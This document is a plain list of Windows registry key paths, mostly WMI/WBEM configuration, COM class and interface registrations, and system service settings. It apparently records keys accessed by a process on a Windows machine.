HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3Mult
HKEY_LOCAL_MACHINE\system\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Unchecked Task Count
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Working Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Build
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\MOF Self-Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Default Repository Driver
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueCoreFsrepVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Cache Spill Ratio
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckPointValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SnapShotValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckRepositoryOnNextStartup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NumWriteIdCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Item Age (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NextAutoRecoverFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Enable Provider Subsystem
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Server
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableEvents
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssToBeInitialized
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Low Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\High Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Wait On Events (ms)
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\ESS
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Merger Query Arbitration Enabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\software\microsoft\wbem\cimom
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SetupDate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Async Result Queue Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/subscription
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\cimv2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\cimv2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerBatchSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ClientCallbackTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerQueueThreshold
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Tasks
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InProcServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\LocalServer32
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2\SCM Event Provider
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\minint
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\InProcServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\(Default)
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\LocalServer32
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders\ROOT\CIMV2:__Win32Provider.Name="CIMWin32"
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocHandler
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ImagePath
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_USERS\S-1-5-18
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath
HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_USERS\.DEFAULT\Environment
HKEY_USERS\.DEFAULT\Volatile Environment
HKEY_USERS\.DEFAULT\Volatile Environment\0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\Environment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\RequiredPrivileges
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\ImagePath
